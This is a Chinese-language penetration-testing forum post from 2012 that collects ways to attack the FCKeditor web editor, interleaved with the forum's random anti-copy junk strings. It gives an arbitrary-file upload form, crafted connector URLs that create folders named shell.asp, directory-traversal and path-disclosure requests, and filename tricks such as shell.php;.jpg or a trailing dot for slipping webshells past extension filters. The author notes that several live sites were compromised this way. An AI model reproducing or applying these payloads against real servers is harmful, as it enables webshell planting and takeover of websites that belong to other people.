中国网络渗透测试联盟
标题:
Fckeditor漏洞 (2)
[打印本页]
作者:
admin
时间:
2012-9-13 17:01
标题:
Fckeditor漏洞 (2)
Fckeditor漏洞利用总结
$ J9 v# I5 G) C* r
查看编辑器版本
, J! v: G4 V1 P( H, p! j' G: @
FCKeditor/_whatsnew.html
- X+ Z4 t" ^* _
—————————————————————————————————————————————————————————————
' d1 S1 P( n* X) f
9 w3 f1 y' V! j! i9 Z- m5 }
2. Version 2.2 版本
1 p4 k3 }1 v& O5 q9 k6 C
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
/ c2 N8 U9 t; k# \0 i- I& x# I
—————————————————————————————————————————————————————————————
. w' C' k" }; N+ E1 w0 _6 n
5 @7 Y y+ `9 X/ j1 z
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
, _, Y( _6 G7 \( S, N
<form id="frmUpload" enctype="multipart/form-data"
4 l6 V, }4 ~4 Q0 p: q
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
9 b5 H2 y p( s0 b$ @ v: v2 M) ^+ L
<input type="file" name="NewFile" size="50"><br>
, Q) \6 p' I2 o& j
<input id="btnUpload" type="submit" value="Upload">
0 [, _% ~1 M! b9 O6 a" `8 O
</form>
( j. P; M9 R- x& i
—————————————————————————————————————————————————————————————
+ ]/ n( e1 h9 K& U
8 O: E8 _) M# Y( s( h1 G6 A1 d
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
- y a4 ~5 ?" w4 Y0 ]7 r; o" `
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
/ ~ P$ d8 I j: K9 M
4.1:提交shell.php+空格绕过
0 b9 f+ J# L6 X; h
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
4 w. A x1 X1 y9 g% D: `3 z
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
* H: \ z9 l$ V6 J5 y' [
—————————————————————————————————————————————————————————————
0 Y2 f5 _) A. L# q$ C: R5 d
/ C5 r3 Z3 ~" s% d$ G! N' v
5. 突破建立文件夹
/ H" s/ m% Z8 \, c0 b
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
2 S6 Z! b8 c1 O) e* T8 ?& H5 W
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
& `6 h% u, \* R4 ^) v
—————————————————————————————————————————————————————————————
& S9 Q) p0 j( y i0 R A! R" k
$ Z& B# ?; v4 ?8 f
6. FCKeditor 中test 文件的上传地址
! C8 `, D9 Y ^8 Q6 @* b( B6 D1 y2 y* x
FCKeditor/editor/filemanager/browser/default/connectors/test.html
?" q- e5 P. Q2 m- V( _
FCKeditor/editor/filemanager/upload/test.html
. k- j9 w* q6 e4 O6 `2 S j% w
FCKeditor/editor/filemanager/connectors/test.html
' U. a R( }, d+ Y( o. D3 z( C" Z; T
FCKeditor/editor/filemanager/connectors/uploadtest.html
- }6 W/ v3 p2 e; l/ e/ e
—————————————————————————————————————————————————————————————
+ h/ ?2 M9 O% b& ^
, s( A% r. K$ }9 c/ Z4 I5 |% r
7.常用上传地址
& B' \9 k& G' \
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4 e7 _6 Z8 M- j9 ~* }
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
. ]4 s$ ~7 y6 C5 I
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
e" n Q$ Q6 W: a' K$ \$ m
JSP 版:
1 G! }" ]6 q+ T# I) B% s$ s; U6 m
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
5 T5 C0 w x2 `. O& t
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
6 n+ ~8 [( D8 ?( U) q1 Q
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
& ?+ Y$ S& V# l
—————————————————————————————————————————————————————————————
$ h/ z7 ]* e. j
6 J6 L S0 g- @6 {% a5 G# G G2 A. ~% c
8.其他上传地址
; V- o. L6 `# @% y) x4 `+ {! {
FCKeditor/_samples/default.html
, T( g. K9 \$ B# ]
FCKeditor/_samples/asp/sample01.asp
" _ R) y- d1 P. }; ^ U
FCKeditor/_samples/asp/sample02.asp
. ~6 d. [% ^7 t# c0 f7 x
FCKeditor/_samples/asp/sample03.asp
2 c9 P2 |/ D* E6 ]
FCKeditor/_samples/asp/sample04.asp
7 J4 @4 V6 @7 ?6 m# G
一般很多站点都已删除_samples 目录,可以试试。
" f2 i* k5 o" l/ E/ q
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
Y4 \% a# R. `# I6 w
—————————————————————————————————————————————————————————————
9 u! m5 S% k) b, S
. \" b1 u% [' v2 \) L$ ~
9.列目录漏洞也可助找上传地址
8 H$ |7 U5 D: p2 v" e$ s
Version 2.4.1 测试通过
* x$ |6 E7 [+ C; U' Q( n W9 r
修改CurrentFolder 参数使用 ../../来进入不同的目录
: Z$ B" m0 F+ m- Q' Q( j1 I. C _/ m
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
3 ~3 y: i5 C0 P
根据返回的XML 信息可以查看网站所有的目录。
( ?' ^2 x- ?% c: ]
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
c- P! U( H! A* H7 ?
也可以直接浏览盘符:
; f# J+ E" W$ Q' F+ E- m
JSP 版本:
; p8 K( b4 k5 O$ l2 T+ k# j& |% S9 i
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
7 i! x& @7 t g7 q2 c
—————————————————————————————————————————————————————————————
7 v& n8 w" x& n( Q
% R" B/ F9 x/ ?) g
10.爆路径漏洞
( p0 _. |; E+ t P7 S3 x, K" t7 h. n
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
0 L! T4 K% E6 T
—————————————————————————————————————————————————————————————
, k! p) E* z( H6 G; c
* t9 Y. T( n. ?7 Y) U) ~
11. FCKeditor 被动限制策略所导致的过滤不严问题
! A* j& g% ?: W$ I2 w
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
) q7 `( x/ t- S# M' O* Y2 }2 k( N
脆弱描述:
; n5 ] m7 [$ T9 ~3 f7 ~+ Z8 u
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
6 F) L( n+ s6 K$ x* K
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
4 P) j: g0 [5 Q; e( C3 m: R
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
7 D* c! {* d' A
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
! k S$ |+ @( y' z. e3 I
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
1 v0 \5 ^' K, @; O/ K
—————————————————————————————————————————————————————————————
8 _, F+ c; W9 h8 d( w0 t
4 R1 T2 \9 [3 H$ w F! ~& N( x
12.最古老的漏洞,Type文件没有限制!
V0 m% F+ ` s/ @4 v- u# I
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
% {( w, v1 N6 J8 v" U, a
—————————————————————————————————————————————————————————————
* Z* A' _. ^5 ?$ M8 r/ k4 E
; e2 L- O4 o. H: v! \1 `
===============================================================================================================================================
; l" B x7 R, W
4 r- c7 e/ q+ d/ ?% D( a2 i/ y
FCK编辑器jsp版本漏洞:
2 R% `; w" A0 w8 r
, H6 x$ S. N' T4 s7 d
8 q2 q7 l; d5 e& ~1 H) z
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
) L8 I; a; p3 i- \8 Q" i: v. r X
. n* n" |- E+ l1 R; \1 F4 e- c
上传马所在目录
7 H$ [0 p# a Z; A
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
; T' B# c# J$ x! N- t) i
上传shell的地址:
6 a( z; k; a H# ]
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
# u6 u) R; u [. h8 ~, O; u6 @
跟版本有关系.并不是百分百成功. 测试成功几个站.
2 o0 A# C% b s/ p n
不能通杀.很遗憾.
1 V- I* l+ j2 B- R' l U: G x0 o
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
/ C. T+ F4 I* x7 S' W$ I) d& @) o' G
如果以上地址不行可以试试
, v/ A9 K; B& ]0 z2 t [
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
# a9 i/ ?" S$ Y4 ~# \4 T1 u
FCKeditor/_samples/
" d* m6 h7 z" E: q
FCKeditor/_samples/default.html
& L) U5 I' `# N" w
FCKeditor/editor/fckeditor.htm
% ~$ c. \/ F4 c( O) k
FCKeditor/editor/fckdialog.html
* O& @) h0 Z, \- I N
: }6 P# q! j& u4 c
2 N+ |- n" _" F
+ V* ~& f5 ^" b% ~3 J0 d
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
* c: [$ r9 ~0 }
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2